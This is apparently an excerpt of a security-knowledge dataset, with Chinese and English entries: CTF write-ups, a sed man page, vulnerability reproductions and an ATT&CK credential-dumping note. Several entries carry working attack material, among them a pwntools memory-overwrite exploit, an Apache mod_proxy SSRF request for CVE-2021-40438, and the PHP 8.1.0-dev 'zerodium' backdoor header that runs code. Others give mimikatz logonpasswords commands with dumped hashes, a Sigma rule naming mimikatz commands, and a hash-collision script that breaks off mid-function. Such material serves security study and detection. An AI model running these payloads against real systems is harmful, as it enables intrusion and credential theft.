text
stringlengths
100
9.93M
category
stringclasses
11 values
# Unauthorized, Exp, 100pts > Let's do something simple. This media unit has a Wifi access point and looks like remote access is possible. But only if you know the right password. Notes: ``` structure at 0x3001 sha256(password) - 0x20 bytes address(username) - 2 bytes size(username) + 1 - 2 bytes username ``` We can overwrite it, because of unchecked `alloca`. Final code: ```python #!/usr/bin/python2 from pwn import * def attack(connection): def send(bytes): for byte in bytes: connection.send(byte) connection.recvuntil(byte) user = "p4" password = "P4 8 11 |~gg~|`jjnb" connection.recvuntil("Initialized \r\n") buffer = StringIO() buffer.write("{:d}:".format(0x0eac)) buffer.write("10:") buffer.write(hashlib.sha256(password).digest()) buffer.write(p16(0x3025)) buffer.write(p16(len(user) + 1)) buffer.write(user) buffer.write("\x00") data = buffer.getvalue() if "\n" in data: raise Exception send("{:s}\n".format(data)) connection.recvuntil("Unknown user!") send("{:d}:{:d}:{:s}{:s}\n".format(len(user), len(password), user, password)) connection.recvuntil("FIXME") context.log_level = "debug" with serialtube(port = "/dev/ttyUSB0", baudrate = 115200) as connection: attack(connection) ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.28. .TH SED "1" "2017年2月" "sed 4.4" "用户命令" .SH 名称 sed \- 文本筛选和格式转换的流式编辑器 .SH 摘要 .B sed [\fI选项\fR]... \fI{script-only-if-no-other-script} \fR[\fI输入文件\fR]... .SH 描述 .ds sd \fIsed\fP .ds Sd \fISed\fP \*(Sd是一个流式编辑器。流式编辑器是用来在输入流(一个文件或者管道输入)中 完成基本文本转换的。当在一些允许脚本编辑的编辑器中(比如\fIed\fP),\*(sd通过将 输入传输为一个输入来工作,这样更高效。但是是\*(sd的功能来过滤管道的文本并 从其他类型的编辑器中特别识别出这些文本。 .HP \fB\-n\fR, \fB\-\-quiet\fR, \fB\-\-silent\fR .IP 不自动打印模式空间的内容 .HP \fB\-e\fR 脚本, \fB\-\-expression\fR=\fI脚本\fR .IP 添加脚本到将要执行的命令 .HP \fB\-f\fR 脚本文件, \fB\-\-file\fR=\fI脚本文件\fR .IP 添加脚本文件的内容到即将执行的命令 .HP \fB\-\-follow\-symlinks\fR .IP 处理已存在文件时跟随链接 .HP \fB\-i[SUFFIX]\fR, \fB\-\-in\-place\fR[=\fISUFFIX\fR] .IP 编辑已存在的文件(如果提供了SUFFIX作为后缀则做备份) .HP \fB\-l\fR N, \fB\-\-line\-length\fR=\fIN\fR .IP 指定'l'命令需要的自动换行长度 .HP \fB\-\-posix\fR .IP 禁用所有GNU插件。 .HP \fB\-E\fR, \fB\-r\fR, \fB\-\-regexp\-extended\fR .IP 在脚本中使用扩展正则表达式(为了可移植性,请使用符合POSIX的\fB\-E\fR) .HP \fB\-s\fR, \fB\-\-separate\fR .IP 将多个文件分别看待,而非统一视作同个连续的流。 .HP \fB\-\-sandbox\fR .IP 在沙箱模式下操作。 .HP \fB\-u\fR, \fB\-\-unbuffered\fR .IP 从输入文件中读取最少量的数据并更频繁地刷新输出缓冲区 .HP \fB\-z\fR, \fB\-\-null\-data\fR .IP 用NUL字符分割行 .TP \fB\-\-help\fR 显示这个帮助并退出 .TP \fB\-\-version\fR 输出版本信息并退出 .PP 如果没有给出\fB\-e\fR,\fB\-\-expression\fR,\fB\-f\fR,或者\fB\-\-file\fR选项, 那么第一个非选项参数会被当作sed脚本解释。所有余下的参数是输入文件的名称; 如果没有指定输入文件,那么就会读取标准输入。 .PP GNU sed主页:<http://www.gnu.org/software/sed/>。使用GNU软件的通用帮助 :<http://www.gnu.org/gethelp/>。Bug报告请发送电子邮件至:<bug-sed@gnu.org>。 .SH "命令摘要" 这只是为已经知道\*(sd命令和相关文档(例如texinfo文档),需要翻阅命令完整 描述的人准备的\*(sd命令的简短摘要。 .SS 零地址“命令” .TP .RI :\ label .B b 和 .B t 命令的标签。 .TP .RI # comment 注释将会延长到下一个新行 (或者一个 .B -e 脚本片段的结尾。) .TP } 一个{ }块的闭括号。 .SS 零或一地址命令 .TP = 答应当前行的行号。 .TP a \e .TP .I text 追加 .IR text , text可以通过预先写入反斜杠来嵌入新行。 .TP i \e .TP .I text 插入 .IR text , text可以通过预先写入反斜杠来嵌入新行。 .TP q [\fIexit-code\fR] 立即退出\*(sd脚本而不处理其他输入,除非自动打印没有禁用使得当前模式 空间将会被打印。[\fIexit-code\fR]是GNU插件(扩展)。 .TP Q [\fIexit-code\fR] 立即退出\*(sd脚本而不处理其他输入。这是一个GNU插件。 .TP .RI r\ 文件名 从 .IR 文件名 读取内容并追加到最后。 .TP .RI R\ 文件名 从 .IR 文件名 读取一行并追加到最后。每次调用这个命令就从文件中读取一 行。这是一个GNU插件。 .SS 接受范围地址的命令 .TP { 开始一个命令块(以一个}结束)。 .TP .RI b\ label 程序跳转到\fIlabel\fR处;如果\fIlabel\fR被省略,跳转到脚本尾部。 .TP c \e .TP .I text 用 .IR text 代替选择的行, .IR text 可以通过预先写入反斜杠来嵌入新行。 .TP d 删除模式空间。 开始下一个循环。 .TP D 如果模式空间包含新行,在d命令发布之后开始一个新的普通循环。否则, 删除模式空间中的text直到新行,并且在不读入新行的情况下,用结果的 模式空间开始一个循环。 .TP h H 复制/追加模式空间到保存空间。 .TP g G 复制/追加保存空间到模式空间。 .TP l 用“直观明确”的格式列出当前行。 .TP .RI l\ width 用“直观明确”的格式列出当前行,在\fIwidth\fR字符处结束。这是一个GNU插件。 .TP n N 读取/追加下一行输入到模式空间。 .TP p 输出当前的模式空间。 .TP P 输出直到遇到当前模式空间的第一个嵌入的换行符。 .TP .RI s/ regexp / replacement / 尝试与模式空间匹配\fIregexp\fR,如果成功,用\fIreplacement\fR代替匹配的部分 。\fIreplacement\fR可能包含特殊字符\fB&\fR来引用模式空间中匹配的部分,而特殊 字符\e1到\e9则引用\fIregexp\fR中对应匹配的子表达式。 .TP .RI t\ label 自上次输入行读取之后并且上次执行了t或者T命令之后,如果一个s///被 成功替换,那么跳转到\fIlabel\fR处;如果\fIlabel\fR被忽略,跳转到脚本结尾。 .TP .RI T\ label 自上此输入行读取之后并借上次执行了t或者T命令之后,如果一个s///被 成功替换,那么跳转到\fIlabel\fR处;如果\fIlabel\fR被忽略,跳转到脚本结尾。这是 一个GNU插件。 .TP .RI w\ filename 将当前的模式空间写入到\fIfilename\fR中。 .TP .RI W\ filename 写入当前模式空间的第一行到\fIfilename\fR中。这是一个GNU插件。 .TP x 交换模式空间和保存空间的内容。 .TP .RI y/ source / dest / 将模式空间中显示为\fIsource\fR的字符用\fIdest\fR字符来写出。 .SH 地址 \*(Sd命令可以没有指定地址,这样将会为所有行执行命令。如果给出了一个地址, 这样命令就只会为匹配此地址的行执行;如果给出了两个地址,这样命令将会对 从匹配的第一个地址到第二个地址的区域的所有输入行执行命令。 关于地址范围有三点:语法为:\fIaddr1 , addr2\fR(比如,地址要用逗号分开); \fIaddr1\fR匹配的行一定会被接受,即使\fIaddr2\fR选定的是更靠前的行;并且如果\fIaddr2\fR是 一个\fIregexp\fR(正则表达式),它将不会重复测试\fIaddr\fR匹配的行。 .PP 在地址(或地址范围)之后,在命令之前,可以插入一个\fB!\fR,这个符号定义的命令 只有在地址(地址范围)\fB不\fR匹配的时候才能执行。 .PP 支持下面的地址类型: .TP .I number 只匹配行号为\fInumber\fR的行。(除非\fB-s\fR选项在命令行中被指定,number值将 会按照文件数渐增。) .TP .IR first ~ step 匹配每一个第\fIstep\fR行并从\fIfirst\fR开始计数。举个栗子,``sed -n 1~2p''将 打印出输入流所有奇数行,而地址2~5将匹配从第2行开始的,以5为步长的 行。\fIfirst\fR可以是零;这样,\*(sd按其为\fIstep\fR来操作。(这是一个插件。) .TP $ 匹配最近的行。 .TP .RI / regexp / 匹配符合正则表达式\fIregexp\fR的行。 .TP .BI \fR\e\fPc regexp c 匹配符合正则表达式\fIregexp\fR的行。 其中\fBc\fR可以是任意字符。 .PP GNU\*(sd同样支持某些特殊2地址格式: .TP .RI 0, addr2 从“匹配了第一个地址”状态始,直到发现\fIaddr2\fR。这和\fI1, addr2\fR很相似, 除了当\fIaddr2\fR匹配了输入的第一行,\fI0, addr2\fR形式将在该范围的结尾;而 \fI1, addr2\fR形式仍然在该范围的开始。这种形式只有在\fIaddr2\fR是正则表达式 的情况下才有效。 .TP .IR addr1 ,+ N 将会匹配 .I addr1 和在 .IR addr1 之后的 .I N 行。 .TP .IR addr1 ,~ N 将会匹配 .I addr1 和 .I addr1 之后的输入行数是 .IR N 倍的下一行。 .SH "正则表达式" POSIX.2 BREs\fI应该\fR是支持的,但是由于性能的原因,这个特性还不完全。其中 \fB\en\fR序列匹配换行符,\fB\ea\fR、\fB\et\fR和其他序列也是类似的。\fI-E\fP选项开关用来选择是否使用扩展正则 表达式;-E选项已经由GNU sed支持了很多年,现已包含于POSIX中。 .SH BUGS .PP 请将错误报告发送至\fBbug-sed@gnu.org\fR。另外,请在邮件正文中尽量包含 ``sed --version''的信息。 .SH 作者 由 Jay Fenlason, Tom Lord, Ken Pizzini, 和 Paolo Bonzini写成。 GNU sed 主页: <http://www.gnu.org/software/sed/>. 使用 GNU 软件的一般性手册: <http://www.gnu.org/gethelp/>. E-mail bug 报告到: <bug-sed@gnu.org>. .SH 版权 Copyright \(co 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH "参见" .BR awk (1), .BR ed (1), .BR grep (1), .BR tr (1), .BR perlre (1), sed.info, 任何和\*(sd相关的书籍, .na \*(sd常见问题(http://sed.sf.net/grabbag/tutorials/sedfaq.txt), http://sed.sf.net/grabbag/。 .PP .B sed 的完整文档是作为Texinfo手册维护的。如果\fBinfo\fR和\fBsed\fR程序正确的安装, 可以执行 .IP .B info sed .PP 命令来访问完整的手册。 .\" manpages-zh translator: Means Lee .\" manpages-zh date: 2017-05-15 .\" manpages-zh orig-package: sed
sec-knowleage
# Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438) Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.48及以前的版本中,mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。 参考链接: - https://httpd.apache.org/security/vulnerabilities_24.html - https://firzen.de/building-a-poc-for-cve-2021-40438 - https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html ## 漏洞环境 执行如下命令编译及运行一个Apache HTTP Server 2.4.43服务器: ``` docker compose build docker compose up -d ``` 服务器启动后,访问可以看到一个Apache Tomcat的示例页面,此时Apache HTTP Server是以中间反代服务器的身份,运行在客户端(用户)和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。 ## 漏洞复现 发送如下数据包,可见我们已经成功请求到`http://example.com`的页面并返回: ``` GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1 Host: 192.168.1.162:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close ``` ![](1.png)
sec-knowleage
# Based General Skills, 200 points ## Description: > To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? ## Solution: We connect to the service and get the following request: ```console Let us see how data is stored chair Please give the 01100011 01101000 01100001 01101001 01110010 as a word. ... you have 45 seconds..... Input: ``` This looks like binary, let's decode: ```python >>> for x in "01100011 01101000 01100001 01101001 01110010".split(" "): ... sys.stdout.write(chr(int(x, 2))) chair ``` Our input is accepted, and another request is received: ```console Please give me the 146 141 154 143 157 156 as a word. Input: ``` This looks like base 8 (highest value is 7), let's decode: ```python >>> for x in "146 141 154 143 157 156".split(" "): ... sys.stdout.write(chr(int(x,8))) falcon ``` Since we keep getting new requests in different bases, let's write a script to decode a given sequence with an unknown base: ```python from pwn import * import re import string #context.log_level = "DEBUG" r = remote("2019shell1.picoctf.com", 7380) def get_base_encoded_str(r): s = r.recvuntil("the ") if ("Please" not in s): r.recvline() return None s = r.recvuntil(" as a word.", drop = True) return s.strip() def decode_string_as_char_array(s, base): res = "" for unit in s.split(" "): c = chr(int(unit, base)) if c not in string.ascii_letters: raise Exception("Non-ASCII result") res += c return res def try_decode_as_char_array_with_unknown_base(s): for base in range(1, 17): try: res = decode_string_as_char_array(s, base) log.info("Decode successful with base {}".format(base)) return res except: pass return None def try_decode_as_hex(s): try: return s.decode("hex") except: return None r.recvline() r.recvline() s = get_base_encoded_str(r) while s is not None: log.info("Trying to decode '{}'".format(s)) res = try_decode_as_char_array_with_unknown_base(s) or try_decode_as_hex(s) if res is None: log.error("Can't decode '{}'".format(s)) break log.info("Decoded as '{}'".format(res)) r.sendlineafter("Input:", res) s = get_base_encoded_str(r) print r.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/Based# python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 7380: Done [*] Trying to decode '01110000 01100101 01100001 01110010' [*] Decode successful with base 2 [*] Decoded as 'pear' [*] Trying to decode '164 145 163 164' [*] Decode successful with base 8 [*] Decoded as 'test' [*] Trying to decode '737472656574' [*] Decoded as 'street' [+] Receiving all data: Done (57B) [*] Closed connection to 2019shell1.picoctf.com port 7380 Flag: picoCTF{learning_about_converting_values_8e70d435} ```
sec-knowleage
# T1003-004-windows-基于LSA凭证获取 ## 来自ATT&CK的描述 具有SYSTEM访问主机权限的攻击者可能会尝试访问本地安全机构(LSA)机密,其中可能包含各种不同的凭据材料,例如服务帐户的凭据。LSA机密存储在注册表中HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets。LSA机密也可以从内存中转储。 Reg可用于从注册表中提取。Mimikatz可用于从内存中提取秘密。 ### LSA(Local Security Authority) 通过system权限访问主机lsass.exe进程,可以从中读取本地登录和域登录的明文密码。当服务在本地或域用户的上下文中运行时,其密码存储在注册表中。如果启用了自动登录,则此信息也将存储在注册表中。 本地安全机构子系统服务(LSASS)处理Windows主机中安全策略的实施。在从2000到Server 2008的Windows环境中,LSASS进程的内存以明文形式存储密码以支持WDigest和SSP身份验证。因此,Mimikatz等工具可以轻松检索密码。自Windows 8.1和Windows Server 2012的Microsoft为了增强系统的安全性,进一步阻止了LSASS以明文形式存储密码。 ## 测试案例 你可以使用许多工具进行检索读取SAM文件: - pwdump.exe - Mimikatz - gsecdump - ······ 或者,可以使用reg.exe从注册表中提取文件,并使用Creddump7收集凭据。 注意:由机制问题提取的密码是UTF-16编码的,这意味着它们以明文形式返回.Windows 10增加了对缓解中描述的LSA秘密的保护 ## 检测日志 sysmon日志 windows security日志 ## 测试复现 ### 攻击方法:从lsass.exe程序内存中读取密码(administrator) ```dos C:\mimikatz_trunk\x64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" mimikatz(commandline) # privilege::debug Privilege '20' OK mimikatz(commandline) # sekurlsa::logonpasswords Authentication Id : 0 ; 246475 (00000000:0003c2cb) Session : RemoteInteractive from 2 User Name : 1.205 Domain : 1205-PC Logon Server : 1205-PC Logon Time : 2019/7/10 16:12:02 SID : S-1-5-21-4083414316-2806399370-2225847366-1000 msv : [00000003] Primary * Username : 1.205 * Domain : 1205-PC * LM : 6ce1432e9b83da8da8eed815a197bd87 * NTLM : 6136ba14352c8a09405bb14912797793 * SHA1 : b1ab7381d8e9799e407f1d4cb39e33b5d3e54f72 tspkg : * Username : 1.205 * Domain : 1205-PC * Password : 1qazcde3!@# wdigest : * Username : 1.205 * Domain : 1205-PC * Password : 1qazcde3!@# kerberos : * Username : 1.205 * Domain : 1205-PC * Password : 1qazcde3!@ ssp : credman : ``` ## 测试留痕 暂无 ## 检测规则/思路 ### sigma规则 ```yml title: Mimikatz使用 description: 检测常见的mimikatz命令参数 tags: - attack.s0002 - attack.t1003 - attack.lateral_movement - attack.credential_access logsource: product: windows detection: keywords: Message: - "* mimikatz *" - "* mimilib *" - "* <3 eo.oe *" - "* eo.oe.kiwi *" - "* privilege::debug *" - "* sekurlsa::logonpasswords *" - "* lsadump::sam *" - "* mimidrv.sys *" - "* p::d *" - "* s::l *" condition: keywords falsepositives: - Naughty administrators - Penetration test level: critical ``` ### 建议 对数据源要求较高,可适用范围为:2012及以上操作系统,需要开启审核策略;部署sysmon的Windows操作系统,进程创建日志。 ## 参考推荐 MITRE-ATT&CK-T1003-004 <https://attack.mitre.org/techniques/T1003/004> pwdump7 <http://passwords.openwall.net/b/pwdump/pwdump7.zip> powershell <https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1> mimikatz wiki <https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump> 关于更多转储明文密码你可以参考 <https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/>
sec-knowleage
# PHP 8.1.0-dev 开发版本后门事件 PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送**User-Agentt**头来执行任意代码。 参考链接: - https://news-web.php.net/php.internals/113838 - https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a ## 漏洞环境 执行如下命令启动一个存在后门的PHP 8.1服务器: ``` docker compose up -d ``` 环境启动后,服务运行在`http://your-ip:8080`。 ## 漏洞复现 发送如下数据包,可见代码`var_dump(233*233);`成功执行: ``` GET / HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 User-Agentt: zerodiumvar_dump(233*233); Connection: close ``` ![](1.png)
sec-knowleage
import hashlib import itertools import re import string from multiprocessing import freeze_support from os import urandom from time import time, sleep from crypto_commons.brute.brute import brute from crypto_commons.generic import xor_hex from crypto_commons.netcat.netcat_commons import nc, receive_until_match, send, interactive full = 1600 capacity = 48 rate = full - capacity def ROL64(a, n): return ((a >> (64 - (n % 64))) + (a << (n % 64))) % (1 << 64) def KeccakF1600onLanes(lanes): R = 1 for round in range(24): # θ C = [lanes[x][0] ^ lanes[x][1] ^ lanes[x][2] ^ lanes[x][3] ^ lanes[x][4] for x in range(5)] D = [C[(x + 4) % 5] ^ ROL64(C[(x + 1) % 5], 1) for x in range(5)] lanes = [[lanes[x][y] ^ D[x] for y in range(5)] for x in range(5)] # ρ and π (x, y) = (1, 0) current = lanes[x][y] for t in range(24): (x, y) = (y, (2 * x + 3 * y) % 5) (current, lanes[x][y]) = (lanes[x][y], ROL64(current, (t + 1) * (t + 2) // 2)) # χ for y in range(5): T = [lanes[x][y] for x in range(5)] for x in range(5): lanes[x][y] = T[x] ^ ((~T[(x + 1) % 5]) & T[(x + 2) % 5]) # ι for j in range(7): R = ((R << 1) ^ ((R >> 7) * 0x71)) % 256 if (R & 2): lanes[0][0] = lanes[0][0] ^ (1 << ((1 << j) - 1)) return lanes def load64(b): return sum((b[i] << (8 * i)) for i in range(8)) def store64(a): return list((a >> (8 * i)) % 256 for i in range(8)) def KeccakF1600(state): lanes = [[load64(state[8 * (x + 5 * y):8 * (x + 5 * y) + 8]) for y in range(5)] for x in range(5)] lanes = KeccakF1600onLanes(lanes) state = bytearray(200) for x in range(5): for y in range(5): state[8 * (x + 5 * y):8 * (x + 5 * y) + 8] = store64(lanes[x][y]) return state def Keccak(rate, capacity, inputBytes, delimitedSuffix, outputByteLen): outputBytes = bytearray() state = bytearray([0 for i in range(200)]) rateInBytes = rate // 8 blockSize = 0 if (((rate + capacity) != 1600) or ((rate % 8) != 0)): return inputOffset = 0 # === Absorb all the input blocks === while (inputOffset < len(inputBytes)): blockSize = min(len(inputBytes) - inputOffset, rateInBytes) for i in range(blockSize): state[i] = state[i] ^ inputBytes[i + inputOffset] inputOffset = inputOffset + blockSize if (blockSize == rateInBytes): state = KeccakF1600(state) blockSize = 0 state_hex = str(state).encode("hex") c = state[-capacity / 8:] # print('state', str(state).encode("hex")) # print('c', state[-capacity / 8:]) # === Do the padding and switch to the squeezing phase === state[blockSize] = state[blockSize] ^ delimitedSuffix if (((delimitedSuffix & 0x80) != 0) and (blockSize == (rateInBytes - 1))): state = KeccakF1600(state) state[rateInBytes - 1] = state[rateInBytes - 1] ^ 0x80 state = KeccakF1600(state) # === Squeeze out all the output blocks === while (outputByteLen > 0): blockSize = min(outputByteLen, rateInBytes) outputBytes = outputBytes + state[0:blockSize] outputByteLen = outputByteLen - blockSize if (outputByteLen > 0): state = KeccakF1600(state) return outputBytes, c, state_hex def hash(msg): return Keccak(rate, capacity, bytearray(msg), 0x06, rate / 8) def worker(msgs): return [(msg, hash(msg)[1]) for msg in msgs] def collision_search(): bytes_no = rate / 8 space = {} stage = 1000 start = 0 processes = 7 print("generate space") while True: print(str(100 * start / (2.0 ** (capacity / 2 + 1))) + "%") start += stage results = brute(worker, [[urandom(bytes_no) for _ in range(stage)] for _ in range(processes)], processes=processes) results = reduce(lambda x, y: x + y, results) for (msg, c) in results: c = str(c) if c in space: print(len(space)) return space[c], msg else: space[c] = msg def collide(): msg, msg2 = collision_search() zero = '\0' * (rate / 8) _, _, state1 = hash(msg) res1, _, _ = hash(msg + zero) _, _, state2 = hash(msg2) fixer = xor_hex(state1, state2).decode("hex")[:-(capacity / 8)] res2, _, _ = hash(msg2 + fixer) print(msg, msg2) assert msg != msg2 assert res1 == res2 return msg + zero, msg2 + fixer def break_pow(suffix, expected): for x in 